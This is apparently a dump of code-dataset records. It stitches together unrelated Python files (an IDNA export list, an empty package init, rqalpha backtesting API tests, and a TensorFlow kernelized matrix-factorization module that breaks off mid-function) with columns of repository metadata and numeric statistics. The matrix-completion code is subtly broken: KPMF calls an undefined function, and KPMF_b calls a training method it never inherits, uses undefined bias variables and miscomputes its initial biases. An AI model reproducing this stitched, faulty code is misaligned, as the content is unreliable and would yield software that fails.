"check_hyphen_ok",
"check_initial_combiner",
"check_label",
"check_nfc",
"decode",
"encode",
"intranges_contain",
"ulabel",
"uts46_remap",
"valid_contextj",
"valid_contexto",
"valid_label_length",
"valid_string_length",
]
| 19.844444
| 41
| 0.630459
| 80
| 893
| 6.55
| 0.4
| 0.083969
| 0.145038
| 0.232824
| 0.816794
| 0.816794
| 0.816794
| 0.816794
| 0.816794
| 0.816794
| 0
| 0.006192
| 0.276596
| 893
| 44
| 42
| 20.295455
| 0.804954
| 0
| 0
| 0
| 0
| 0
| 0.288575
| 0.053004
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.069767
| 0
| 0.069767
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9c0b2102a060ac3eef73d616e8bdda2bb00849ba
| 144
|
py
|
Python
|
run_async/__init__.py
|
leriomaggio/async-ipython-magic
|
595d4aec8ea027eb23da0f0ae765e20adc987dc4
|
[
"MIT"
] | 20
|
2016-08-26T09:20:12.000Z
|
2019-10-21T16:52:44.000Z
|
run_async/__init__.py
|
leriomaggio/async-ipython-magic
|
595d4aec8ea027eb23da0f0ae765e20adc987dc4
|
[
"MIT"
] | 2
|
2017-04-24T09:09:40.000Z
|
2018-10-10T17:06:15.000Z
|
run_async/__init__.py
|
leriomaggio/async-ipython-magic
|
595d4aec8ea027eb23da0f0ae765e20adc987dc4
|
[
"MIT"
] | 3
|
2019-01-28T05:01:35.000Z
|
2022-02-18T04:30:35.000Z
|
"""
"""
# Author: Valerio Maggio <valeriomaggio@gmail.com>
# Copyright (c) 2015 Valerio Maggio <valeriomaggio@gmail.com>
# License: BSD 3 clause
| 28.8
| 61
| 0.729167
| 18
| 144
| 5.833333
| 0.722222
| 0.247619
| 0.495238
| 0.590476
| 0.647619
| 0
| 0
| 0
| 0
| 0
| 0
| 0.039683
| 0.125
| 144
| 5
| 62
| 28.8
| 0.793651
| 0.902778
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9c0cd9da6c07615cee9a16ec61e2d54c49caa40b
| 18,393
|
py
|
Python
|
tests/api/test_api_base.py
|
HackReborn/rqalpha
|
ed64335675f7229f069f23812839c4780d55df67
|
[
"Apache-2.0"
] | null | null | null |
tests/api/test_api_base.py
|
HackReborn/rqalpha
|
ed64335675f7229f069f23812839c4780d55df67
|
[
"Apache-2.0"
] | null | null | null |
tests/api/test_api_base.py
|
HackReborn/rqalpha
|
ed64335675f7229f069f23812839c4780d55df67
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright 2017 Ricequant, Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import inspect
import re
def get_code_block(func):
lines = inspect.getsourcelines(func)[0][1:]
return "".join([re.sub(r'^ ', '', line) for line in lines])
def test_get_order():
from rqalpha.api import order_shares, get_order
def init(context):
context.s1 = '000001.XSHE'
context.amount = 100
def handle_bar(context, bar_dict):
order_id = order_shares(context.s1, context.amount, style=LimitOrder(9.5))
order = get_order(order_id)
assert order.order_book_id == context.s1
assert order.quantity == context.amount
assert order.unfilled_quantity + order.filled_quantity == order.quantity
test_get_order_code_new = get_code_block(test_get_order)
def test_get_open_order():
from rqalpha.api import order_shares, get_open_orders, get_order
def init(context):
context.s1 = '000001.XSHE'
context.limitprice = 8.9
context.amount = 100
context.counter = 0
context.order_id = None
def handle_bar(context, bar_dict):
context.counter += 1
order = order_shares(context.s1, context.amount, style=LimitOrder(context.limitprice))
context.order_id = order.order_id
print('cash: ', context.portfolio.cash)
print('check_get_open_orders done')
print(order.order_id)
# print(get_open_orders())
print(get_open_orders())
print(get_order(order.order_id))
if context.counter == 2:
assert order.order_id in get_open_orders()
context.counter = 0
test_get_open_order_code_new = get_code_block(test_get_open_order)
def test_submit_order():
from rqalpha.api import submit_order
def init(context):
context.s1 = '000001.XSHE'
context.amount = 100
context.fired = False
def handle_bar(context, bar_dict):
if not context.fired:
submit_order(context.s1, context.amount, SIDE.BUY, bar_dict[context.s1].limit_up * 0.99)
context.fired = True
if context.fired:
assert context.portfolio.positions[context.s1].quantity == context.amount
test_submit_order_code_new = get_code_block(test_submit_order)
def test_cancel_order():
from rqalpha.api import order_shares, cancel_order, get_order
def init(context):
context.s1 = '000001.XSHE'
context.limitprice = 8.59
context.amount = 100
def handle_bar(context, bar_dict):
order_id = order_shares(context.s1, context.amount, style=LimitOrder(context.limitprice))
cancel_order(order_id)
order = get_order(order_id)
assert order.order_book_id == context.s1
assert order.filled_quantity == 0
return order_id
assert order.price == context.limitprice
test_cancel_order_code_new = get_code_block(test_cancel_order)
def test_update_universe():
from rqalpha.api import update_universe, history_bars
def init(context):
context.s1 = '000001.XSHE'
context.s2 = '600340.XSHG'
context.order_count = 0
context.amount = 100
def handle_bar(context, bar_dict):
context.order_count += 1
if context.order_count == 1:
update_universe(context.s2)
his = history_bars(context.s2, 5, '1d', 'close')
print(sorted(his.tolist()))
print(sorted([24.1, 23.71, 23.82, 23.93, 23.66]))
assert sorted(his.tolist()) == sorted([26.06, 26.13, 26.54, 26.6, 26.86])
test_update_universe_code_new = get_code_block(test_update_universe)
def test_subscribe():
from rqalpha.api import subscribe
def init(context):
context.f1 = 'AU88'
context.amount = 1
subscribe(context.f1)
def handle_bar(context, bar_dict):
assert context.f1 in context.universe
test_subscribe_code_new = get_code_block(test_subscribe)
def test_unsubscribe():
from rqalpha.api import subscribe, unsubscribe
def init(context):
context.f1 = 'AU88'
context.amount = 1
subscribe(context.f1)
unsubscribe(context.f1)
def handle_bar(context, bar_dict):
assert context.f1 not in context.universe
test_unsubscribe_code_new = get_code_block(test_unsubscribe)
def test_get_yield_curve():
from rqalpha.api import get_yield_curve
def init(context):
pass
def handle_bar(context, bar_dict):
df = get_yield_curve('20161101')
assert df.iloc[0, 0] == 0.019923
assert df.iloc[0, 6] == 0.021741
test_get_yield_curve_code_new = get_code_block(test_get_yield_curve)
def test_history_bars():
from rqalpha.api import history_bars
def init(context):
context.s1 = '000001.XSHE'
pass
def handle_bar(context, bar_dict):
return_list = history_bars(context.s1, 5, '1d', 'close')
if str(context.now.date()) == '2016-12-29':
assert return_list.tolist() == [9.08, 9.12, 9.08, 9.06, 9.08]
test_history_bars_code_new = get_code_block(test_history_bars)
def test_all_instruments():
from rqalpha.api import all_instruments
def init(context):
pass
def handle_bar(context, bar_dict):
date = context.now.replace(hour=0, minute=0, second=0)
df = all_instruments('CS')
assert (df['listed_date'] <= date).all()
assert (df['de_listed_date'] >= date).all()
# assert all(not is_suspended(o) for o in df['order_book_id'])
assert (df['type'] == 'CS').all()
df1 = all_instruments('Stock')
assert sorted(df['order_book_id']) == sorted(df1['order_book_id'])
df2 = all_instruments('Future')
assert (df2['type'] == 'Future').all()
assert (df2['listed_date'] <= date).all()
assert (df2['de_listed_date'] >= date).all()
df3 = all_instruments(['Future', 'Stock'])
assert sorted(list(df['order_book_id']) + list(df2['order_book_id'])) == sorted(df3['order_book_id'])
test_all_instruments_code_new = get_code_block(test_all_instruments)
def test_instruments_code():
from rqalpha.api import instruments
def init(context):
context.s1 = '000001.XSHE'
pass
def handle_bar(context, bar_dict):
ins = instruments(context.s1)
assert ins.sector_code_name == '金融'
assert ins.symbol == '平安银行'
assert ins.order_book_id == context.s1
assert ins.type == 'CS'
test_instruments_code_new = get_code_block(test_instruments_code)
def test_sector():
from rqalpha.api import sector
def init(context):
pass
def handle_bar(context, bar_dict):
assert len(sector('金融')) >= 80, "sector('金融') 返回结果少于 80 个"
test_sector_code_new = get_code_block(test_sector)
def test_industry():
from rqalpha.api import industry, instruments
def init(context):
context.s1 = '000001.XSHE'
context.s2 = '600340.XSHG'
def handle_bar(context, bar_dict):
ins_1 = instruments(context.s1)
ins_2 = instruments(context.s2)
industry_list_1 = industry(ins_1.industry_name)
industry_list_2 = industry(ins_2.industry_name)
assert context.s1 in industry_list_1
assert context.s2 in industry_list_2
test_industry_code_new = get_code_block(test_industry)
def test_get_trading_dates():
from rqalpha.api import get_trading_dates
import datetime
def init(context):
trading_dates_list = get_trading_dates('2016-12-15', '2017-01-03')
correct_dates_list = [datetime.date(2016, 12, 15), datetime.date(2016, 12, 16), datetime.date(2016, 12, 19),
datetime.date(2016, 12, 20), datetime.date(2016, 12, 21), datetime.date(2016, 12, 22),
datetime.date(2016, 12, 23), datetime.date(2016, 12, 26), datetime.date(2016, 12, 27),
datetime.date(2016, 12, 28), datetime.date(2016, 12, 29), datetime.date(2016, 12, 30),
datetime.date(2017, 1, 3)]
assert sorted([item.strftime("%Y%m%d") for item in correct_dates_list]) == sorted(
[item.strftime("%Y%m%d") for item
in trading_dates_list])
def handle_bar(context, bar_dict):
pass
test_get_trading_dates_code_new = get_code_block(test_get_trading_dates)
def test_get_previous_trading_date():
from rqalpha.api import get_previous_trading_date
def init(context):
assert str(get_previous_trading_date('2017-01-03').date()) == '2016-12-30'
assert str(get_previous_trading_date('2016-01-03').date()) == '2015-12-31'
assert str(get_previous_trading_date('2015-01-03').date()) == '2014-12-31'
assert str(get_previous_trading_date('2014-01-03').date()) == '2014-01-02'
assert str(get_previous_trading_date('2010-01-03').date()) == '2009-12-31'
assert str(get_previous_trading_date('2009-01-03').date()) == '2008-12-31'
assert str(get_previous_trading_date('2005-01-05').date()) == '2005-01-04'
def handle_bar(context, bar_dict):
pass
test_get_previous_trading_date_code_new = get_code_block(test_get_previous_trading_date)
def test_get_next_trading_date():
from rqalpha.api import get_next_trading_date
def init(context):
assert str(get_next_trading_date('2017-01-03').date()) == '2017-01-04'
assert str(get_next_trading_date('2007-01-03').date()) == '2007-01-04'
def handle_bar(context, bar_dict):
pass
test_get_next_trading_date_code_new = get_code_block(test_get_next_trading_date)
def test_get_dividend():
from rqalpha.api import get_dividend
def init(context):
pass
def handle_bar(context, bar_dict):
df = get_dividend('000001.XSHE', start_date='20130104')
df_to_assert = df[df['book_closure_date'] == 20130619]
assert len(df) >= 4
assert df_to_assert[0]['dividend_cash_before_tax'] == 1.7
assert df_to_assert[0]['payable_date'] == 20130620
test_get_dividend_code_new = get_code_block(test_get_dividend)
# =================== 以下把代码写为纯字符串 ===================
test_get_order_code = '''
from rqalpha.api import order_shares, get_order
def init(context):
context.s1 = '000001.XSHE'
context.amount = 100
def handle_bar(context, bar_dict):
assert 1 == 2
order_id = order_shares(context.s1, context.amount, style=LimitOrder(9.5))
order = get_order(order_id)
assert order.order_book_id == context.s1
assert order.quantity == context.amount
assert order.unfilled_quantity + order.filled_quantity == order.quantity
'''
test_get_open_order_code = '''
from rqalpha.api import order_shares, get_open_orders
def init(context):
context.s1 = '000001.XSHE'
context.limitprice = 8.9
context.amount = 100
context.counter = 0
context.order_id = None
def handle_bar(context, bar_dict):
context.counter += 1
order = order_shares(context.s1, context.amount, style=LimitOrder(context.limitprice))
context.order_id = order.order_id
print('cash: ', context.portfolio.cash)
print('check_get_open_orders done')
print(order.order_id)
# print(get_open_orders())
print(get_open_orders())
print(get_order(order.order_id))
if context.counter == 2:
assert order.order_id in get_open_orders()
context.counter = 0
'''
test_cancel_order_code = '''
from rqalpha.api import order_shares, cancel_order, get_order
def init(context):
context.s1 = '000001.XSHE'
context.limitprice = 8.59
context.amount = 100
def handle_bar(context, bar_dict):
order_id = order_shares(context.s1, context.amount, style=LimitOrder(context.limitprice))
cancel_order(order_id)
order = get_order(order_id)
assert order.order_book_id == context.s1
assert order.filled_quantity == 0
return order_id
assert order.price == context.limitprice
'''
test_update_universe_code = '''
from rqalpha.api import update_universe, history_bars
def init(context):
context.s1 = '000001.XSHE'
context.s2 = '600340.XSHG'
context.order_count = 0
context.amount = 100
def handle_bar(context, bar_dict):
context.order_count += 1
if context.order_count == 1:
update_universe(context.s2)
his = history_bars(context.s2, 5, '1d', 'close')
print(sorted(his.tolist()))
print(sorted([24.1, 23.71, 23.82, 23.93, 23.66]))
assert sorted(his.tolist()) == sorted([26.06, 26.13, 26.54, 26.6, 26.86])
'''
test_subscribe_code = '''
from rqalpha.api import subscribe
def init(context):
context.f1 = 'AU88'
context.amount = 1
subscribe(context.f1)
def handle_bar(context, bar_dict):
assert context.f1 in context.universe
'''
test_unsubscribe_code = '''
from rqalpha.api import subscribe, unsubscribe
def init(context):
context.f1 = 'AU88'
context.amount = 1
subscribe(context.f1)
unsubscribe(context.f1)
def handle_bar(context, bar_dict):
assert context.f1 not in context.universe
'''
test_get_yield_curve_code = '''
from rqalpha.api import get_yield_curve
def init(context):
pass
def handle_bar(context, bar_dict):
df = get_yield_curve('20161101')
assert df.iloc[0, 0] == 0.019923
assert df.iloc[0, 6] == 0.021741
'''
test_history_bars_code = '''
from rqalpha.api import history_bars
def init(context):
context.s1 = '000001.XSHE'
pass
def handle_bar(context, bar_dict):
return_list = history_bars(context.s1, 5, '1d', 'close')
if str(context.now.date()) == '2016-12-29':
assert return_list.tolist() == [9.08, 9.1199, 9.08, 9.06, 9.08]
'''
test_all_instruments_code = '''
from rqalpha.api import all_instruments
def init(context):
pass
def handle_bar(context, bar_dict):
df = all_instruments('FenjiA')
df_to_assert = df.loc[df['order_book_id'] == '150247.XSHE']
assert df_to_assert.iloc[0, 0] == 'CMAJ'
assert df_to_assert.iloc[0, 7] == '工银中证传媒A'
assert all_instruments().shape >= (8000, 4)
assert all_instruments('CS').shape >= (3000, 16)
assert all_instruments('ETF').shape >= (120, 9)
assert all_instruments('LOF').shape >= (130, 9)
assert all_instruments('FenjiMu').shape >= (10, 9)
assert all_instruments('FenjiA').shape >= (120, 9)
assert all_instruments('FenjiB').shape >= (140, 9)
assert all_instruments('INDX').shape >= (500, 8)
assert all_instruments('Future').shape >= (3500, 16)
'''
test_instruments_code = '''
from rqalpha.api import instruments
def init(context):
context.s1 = '000001.XSHE'
pass
def handle_bar(context, bar_dict):
print('hello')
ins = instruments(context.s1)
assert ins.sector_code_name == '金融'
assert ins.symbol == '平安银行'
assert ins.order_book_id == context.s1
assert ins.type == 'CS'
print('world')
'''
test_sector_code = '''
from rqalpha.api import sector
def init(context):
pass
def handle_bar(context, bar_dict):
assert len(sector('金融')) >= 180
'''
test_industry_code = '''
from rqalpha.api import industry, instruments
def init(context):
context.s1 = '000001.XSHE'
context.s2 = '600340.XSHG'
def handle_bar(context, bar_dict):
ins_1 = instruments(context.s1)
ins_2 = instruments(context.s2)
industry_list_1 = industry(ins_1.industry_name)
industry_list_2 = industry(ins_2.industry_name)
assert context.s1 in industry_list_1
assert context.s2 in industry_list_2
'''
test_get_trading_dates_code = '''
from rqalpha.api import get_trading_dates
import datetime
def init(context):
pass
def handle_bar(context, bar_dict):
trading_dates_list = get_trading_dates('2016-12-15', '2017-01-03')
correct_dates_list = [datetime.date(2016, 12, 15), datetime.date(2016, 12, 16), datetime.date(2016, 12, 19),
datetime.date(2016, 12, 20), datetime.date(2016, 12, 21), datetime.date(2016, 12, 22),
datetime.date(2016, 12, 23), datetime.date(2016, 12, 26), datetime.date(2016, 12, 27),
datetime.date(2016, 12, 28), datetime.date(2016, 12, 29), datetime.date(2016, 12, 30),
datetime.date(2017, 1, 3)]
assert sorted([item.strftime("%Y%m%d") for item in correct_dates_list]) == sorted([item.strftime("%Y%m%d") for item
in trading_dates_list])
'''
test_get_previous_trading_date_code = '''
from rqalpha.api import get_previous_trading_date
def init(context):
pass
def handle_bar(context, bar_dict):
assert str(get_previous_trading_date('2017-01-03').date()) == '2016-12-30'
assert str(get_previous_trading_date('2016-01-03').date()) == '2015-12-31'
assert str(get_previous_trading_date('2015-01-03').date()) == '2014-12-31'
assert str(get_previous_trading_date('2014-01-03').date()) == '2014-01-02'
assert str(get_previous_trading_date('2010-01-03').date()) == '2009-12-31'
assert str(get_previous_trading_date('2009-01-03').date()) == '2008-12-31'
assert str(get_previous_trading_date('2005-01-05').date()) == '2005-01-04'
'''
test_get_next_trading_date_code = '''
from rqalpha.api import get_next_trading_date
def init(context):
pass
def handle_bar(context, bar_dict):
assert str(get_next_trading_date('2017-01-03').date()) == '2017-01-04'
assert str(get_next_trading_date('2007-01-03').date()) == '2007-01-04'
'''
test_get_dividend_code = '''
from rqalpha.api import get_dividend
import pandas
def init(context):
pass
def handle_bar(context, bar_dict):
df = get_dividend('000001.XSHE', start_date='20130104')
df_to_assert = df.loc[df['book_closure_date'] == ' 2013-06-19']
assert df.shape >= (4, 5)
assert df_to_assert.iloc[0, 1] == 0.9838
assert df_to_assert.iloc[0, 3] == pandas.tslib.Timestamp('2013-06-20 00:00:00')
'''
| 32.903399
| 119
| 0.671451
| 2,621
| 18,393
| 4.478443
| 0.108737
| 0.029136
| 0.039359
| 0.056228
| 0.812404
| 0.786676
| 0.745357
| 0.723121
| 0.713665
| 0.695178
| 0
| 0.077579
| 0.202468
| 18,393
| 558
| 120
| 32.962366
| 0.722612
| 0.039798
| 0
| 0.740566
| 0
| 0.042453
| 0.44309
| 0.102596
| 0
| 0
| 0
| 0
| 0.212264
| 1
| 0.122642
| false
| 0.042453
| 0.089623
| 0
| 0.21934
| 0.040094
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9c50e651ca8c2a553ca1ede91cceec1a09ba1607
| 31,442
|
py
|
Python
|
src/matrix_completion.py
|
lrgr/xsmf
|
f7a144812a2446a09b08a6a4b3abf624205b28e0
|
[
"MIT"
] | 2
|
2020-08-05T17:06:31.000Z
|
2022-03-30T12:35:09.000Z
|
src/matrix_completion.py
|
lrgr/EMF
|
f7a144812a2446a09b08a6a4b3abf624205b28e0
|
[
"MIT"
] | null | null | null |
src/matrix_completion.py
|
lrgr/EMF
|
f7a144812a2446a09b08a6a4b3abf624205b28e0
|
[
"MIT"
] | null | null | null |
import logging
from abc import ABC, abstractmethod
import numpy as np
import tensorflow as tf
from i_o import get_logger
from scipy.special import expit
from scipy.stats import pearsonr
from sklearn.base import BaseEstimator, TransformerMixin
from sklearn.exceptions import NotFittedError
from sklearn.metrics import mean_squared_error, r2_score
class BaseMatrixCompletion(ABC, BaseEstimator):
def __init__(self):
self.X_fitted = None
self.X = None
pass
@abstractmethod
def fit(self, X, y=None):
pass
def predict(self, X):
'''
Returns array with same shape as X, with NaN values imputed
'''
# This function takes an 'X' unecessarily so sklearn CV methods play nice
self.check_is_fitted()
self.check_same_shape(X, self.X_fitted)
return np.where(np.isnan(X), self.X_fitted, X)
def score(self, X, y=None):
'''
Scores imputed values against non NaN values of given matrix under the
R^2 metric.
Note: y is ignored and must be None
'''
self.check_is_none(y)
self.check_is_fitted()
self.check_same_shape(X, self.X_fitted)
mask = ~np.isnan(X)
imputed_values = self.X_fitted[mask]
true_values = X[mask]
# return negative infinity any imputed values are nan
if np.any(np.isnan(imputed_values)) or np.any(np.isinf(imputed_values)):
return -np.inf
r = r2_score(true_values, imputed_values)
# return negative infinity any r2 is nan
if np.isnan(r):
return -np.inf
else:
return r
# Useful Checks
def check_is_fitted(self):
if self.X_fitted is None or self.X is None:
raise NotFittedError('Matrix completion has not been fitted')
@staticmethod
def check_same_shape(X1, X2):
if X1.shape != X2.shape:
raise ValueError('Shapes {} and {} are not identical'.format(
X1.shape, X2.shape))
@staticmethod
def check_equal(X1, X2):
if not np.allclose(X1, X2, equal_nan=True):
raise ValueError('Arrays are not equal')
@staticmethod
def check_no_shared_non_nan(X1, X2):
BaseMatrixCompletion.check_same_shape(X1, X2)
shared = ~np.isnan(X1) & ~np.isnan(X2)
if np.any(shared):
raise ValueError('Arrays share non-nan entries')
@staticmethod
def check_is_none(x):
if x is not None:
raise ValueError('Argument must not be supplied or must be None')
class MeanMC(BaseMatrixCompletion):
def fit(self, X, y=None):
super().__init__()
self.X = np.copy(X)
mean = np.mean(X[~np.isnan(X)])
self.X_fitted = np.copy(X)
self.X_fitted[np.isnan(X)] = mean
return self
class FillMC(BaseMatrixCompletion):
def __init__(self, fillna=0.):
super().__init__()
self.fillna = 0.
def fit(self, X, y=None):
self.X = np.copy(X)
self.X_fitted = np.copy(X)
self.X_fitted[np.isnan(X)] = self.fillna
return self
class MF_GradientDescentMixin(ABC):
def gd_fit(self):
self._F, self._H = tf.Variable(self.F), tf.Variable(self.H)
train_loss = self.loss(self.X)
train_r2_tf = self.tf_r2_score(self.X)
if self.use_validation():
val_r2_tf = self.tf_r2_score(self.X_val)
#optim = tf.train.GradientDescentOptimizer(self.lr)
optim = tf.train.AdamOptimizer(self.lr)
train_step = optim.minimize(train_loss)
init = tf.global_variables_initializer()
_early_stopped = False
with tf.Session() as sess:
sess.run(init)
for i in range(self.max_iter):
sess.run(train_step)
train_err, train_r2 = sess.run([train_loss, train_r2_tf])
self.train_loss_hist.append(train_err)
self.train_r2_hist.append(train_r2)
if self.use_validation():
val_r2 = sess.run(val_r2_tf)
self.val_r2_hist.append(val_r2)
if self.report_every > 1 and i % self.report_every == 0:
self.log.info("\titer={:5d} | Training | Cost={:8.4f}".format(i, train_err))
self.log.info("\titer={:5d} | Training | R2={:8.4f}".format(i, train_r2))
if self.use_validation():
self.log.info("\titer={:5d} | Validation | R2={:8.4f}".format(i, val_r2))
if np.isnan(train_err):
self.log.warn('\tquitting training early due to NaN loss')
break
if self.use_validation() and self.early_stop > 0:
if self.stop_iterating():
self.log.info("\tstopping early due to non-decreasing validation loss")
_early_stopped = True
break
if not _early_stopped:
self.log.info('\tstopping due to max-iterations reached')
# Report last iteration losses
if self.report_every > 1:
self.log.info("\titer={:5d} | Training | Cost={:8.4f}".format(i, train_err))
if self.use_validation():
self.log.info("\titer={:5d} | Training | R2={:8.4f}".format(i, train_r2))
self.log.info("\titer={:5d} | Validation | R2={:8.4f}".format(i, val_r2))
learnt_F = sess.run(self._F)
learnt_H = sess.run(self._H)
# Store how many iterations we ran for for convenience
self.iters_ran = len(self.train_loss_hist)
return learnt_F, learnt_H
def stop_iterating(self):
# If number of iterations is has been less than stopping criterion
# then don't stop
if len(self.val_r2_hist) < self.early_stop:
return False
r2s = self.val_r2_hist[-self.early_stop:]
# continue if any
min_r2 = r2s[0]
should_continue = any(r2 > min_r2 for r2 in r2s[1:])
return not should_continue
def use_validation(self):
return hasattr(self, 'X_val')
def tf_r2_score(self, X):
_mask = ~np.isnan(X)
_mask = tf.constant(_mask)
_X = tf.constant(X)
FH = tf.matmul(tf.transpose(self._F), self._H)
if self.use_sigmoid:
FH = tf.sigmoid(0.5 * FH)
true_vals = tf.boolean_mask(_X, _mask)
imputed_vals = tf.boolean_mask(FH, _mask)
return tf_r2_score(true_vals, imputed_vals)
def training_curve(self):
return dict(train=self.train_r2_hist, val=self.val_r2_hist)
class KPMF(BaseMatrixCompletion, MF_GradientDescentMixin):
def __init__(self,
lambda_f=1,
lambda_h=1,
rank=40,
max_iter=150,
lr=0.1,
early_stop=10,
use_sigmoid=True,
report_every=-1,
verbosity=logging.INFO):
super().__init__()
self.log = get_logger(verbosity)
# Model Hyperparameters
self.lambda_f = lambda_f
self.lambda_h = lambda_h
self.rank = rank
self.max_iter = max_iter
self.lr = lr
self.early_stop = early_stop
self.use_sigmoid = use_sigmoid
# Logging settings
self.report_every = report_every
self.verbosity = verbosity
# History
self.iters_ran = -1
self.train_loss_hist = []
self.train_r2_hist = []
self.val_r2_hist = None
def fit(self, X, y=None, X_val=None, F_kernel=None, H_kernel=None):
'''
X := (train_matrix, F_kernel, K_kernel)
'''
assert y is None
if F_kernel is None:
F_kernel = np.eye(X.shape[0])
if H_kernel is None:
H_kernel = np.eye(X.shape[1])
assert ((X.shape[0], X.shape[0]) == F_kernel.shape)
assert ((X.shape[1], X.shape[1]) == H_kernel.shape)
if X_val is not None:
self.check_same_shape(X_val, X)
self.check_no_shared_non_nan(X_val, X)
self.X_val = np.copy(X_val)
self.val_r2_hist = []
self.X = np.copy(X)
self.train_mask = ~np.isnan(self.X)
self.M, self.N = self.X.shape
assert self.M > self.rank
assert self.N > self.rank
self.F_kernel = np.copy(F_kernel)
self.H_kernel = np.copy(H_kernel)
temp_F = np.random.randn(self.rank, self.M).astype(np.float64)
self.F = np.divide(temp_F, temp_F.max())
temp_H = np.random.randn(self.rank, self.N).astype(np.float64)
self.H = np.divide(temp_H, temp_H.max())
self.S_F = np.linalg.inv(self.F_kernel)
self.S_H = np.linalg.inv(self.H_kernel)
self.F, self.H = self.gd_fit()
self.X_fitted = np.dot(self.F.T, self.H)
if self.use_sigmoid:
self.X_fitted = expit(0.5 * self.X_fitted)
tf.reset_default_graph()
return self
def loss(self, X):
_mask = ~np.isnan(X)
_mask = tf.constant(_mask)
_X = tf.constant(X)
S_F = tf.constant(self.S_F, dtype=tf.float64)
S_H = tf.constant(self.S_H, dtype=tf.float64)
FH = tf.matmul(tf.transpose(self._F), self._H)
if self.use_sigmoid:
FH = tf.sigmoid(0.5 * FH)
non_reg_loss = reduce_sum_det(tf.pow(tf.boolean_mask(_X, _mask)
- tf.boolean_mask(FH, _mask), 2))
lambda_f = tf.constant(0.5 * self.lambda_f, dtype=tf.float64)
lambda_h = tf.constant(0.5 * self.lambda_h, dtype=tf.float64)
reg_F = tf.trace(self._F @ S_F @ tf.transpose(self._F))
reg_H = tf.trace(self._H @ S_H @ tf.transpose(self._H))
return 0.5 * non_reg_loss \
+ 0.5 * lambda_f * reg_F \
+ 0.5 * lambda_h * reg_H
class KPMF_b(BaseMatrixCompletion):
def __init__(self,
rank=40,
lambda_f=0.01,
lambda_h=None,
lambda_b=0.01,
use_sigmoid=False,
max_iter=150,
lr=0.1,
report_every=-1,
verbosity=logging.INFO,
early_stop=10):
super().__init__()
self.log = get_logger(verbosity)
# Model hyperparameters
self.rank = rank
# set regularization weights to be the same if lambda_h is None
self.lambda_f = lambda_f
self.lambda_h = lambda_f if lambda_h is None else lambda_h
self.lambda_b = lambda_b
self.use_sigmoid = use_sigmoid
self.max_iter = max_iter
self.lr = lr
self.early_stop = early_stop
# Logging settings
self.report_every = report_every
self.verbosity = verbosity
self.iters_ran = -1
self.train_loss_hist = []
self.train_r2_hist = []
self.val_r2_hist = None
def fit(self, X, y=None, X_val=None, F_kernel=None, H_kernel=None):
'''
X := (train_matrix, F_kernel, K_kernel)
'''
assert y is None
if F_kernel is None:
F_kernel = np.eye(X.shape[0])
if H_kernel is None:
H_kernel = np.eye(X.shape[1])
assert ((X.shape[0], X.shape[0]) == F_kernel.shape)
assert ((X.shape[1], X.shape[1]) == H_kernel.shape)
if X_val is not None:
self.check_same_shape(X_val, X)
self.check_no_shared_non_nan(X_val, X)
self.X_val = np.copy(X_val)
self.val_r2_hist = []
self.X = np.copy(X)
self.train_mask = ~np.isnan(self.X)
self.M, self.N = self.X.shape
assert self.M > self.rank
assert self.N > self.rank
self.F_kernel = np.copy(F_kernel)
self.H_kernel = np.copy(H_kernel)
self.S_F = np.linalg.inv(self.F_kernel)
self.S_H = np.linalg.inv(self.H_kernel)
self.bias_row = np.nansum(X, axis=1, keepdims=True) / 2
self.bias_row = self.bias_row / np.nansum(np.isnan(X), axis=1, keepdims=True)
self.bias_col = np.nansum(X, axis=0, keepdims=True) / 2
self.bias_col = self.bias_col / np.nansum(np.isnan(X), axis=0, keepdims=True)
temp_F = np.random.randn(self.rank, self.M).astype(np.float64)
self.F = np.divide(temp_F, temp_F.max())
temp_H = np.random.randn(self.rank, self.N).astype(np.float64)
self.H = np.divide(temp_H, temp_H.max())
self.F, self.H, self.bias_row, self.bias_col = self.gd_fit()
self.X_fitted = np.dot(self.F.T, self.H) + self.bias_row + self.bias_col
if self.use_sigmoid:
self.X_fitted = expit(0.5 * self.X_fitted)
tf.reset_default_graph()
return self
def loss(self, X):
'''
return loss w.r.t masked values
'''
_mask = ~np.isnan(X)
_mask = tf.constant(_mask)
_X = tf.constant(X)
lambda_f = tf.constant(0.5 * self.lambda_f, dtype=tf.float64)
lambda_h = tf.constant(0.5 * self.lambda_h, dtype=tf.float64)
lambda_b = tf.constant(0.5 * self.lambda_b, dtype=tf.float64)
FH = tf.matmul(tf.transpose(self._F), self._H) + self._br + self._bc
S_F = tf.constant(self.S_F, dtype=tf.float64)
S_H = tf.constant(self.S_H, dtype=tf.float64)
if self.use_sigmoid:
FH = tf.sigmoid(0.5 * FH)
non_reg_loss = 0.5 * tf.reduce_sum(tf.pow(tf.boolean_mask(_X, _mask)
- tf.boolean_mask(FH, _mask), 2))
lambda_f = tf.constant(0.5 * self.lambda_f, dtype=tf.float64)
lambda_h = tf.constant(0.5 * self.lambda_h, dtype=tf.float64)
reg_F = lambda_f * tf.trace(self._F @ S_F @ tf.transpose(self._F))
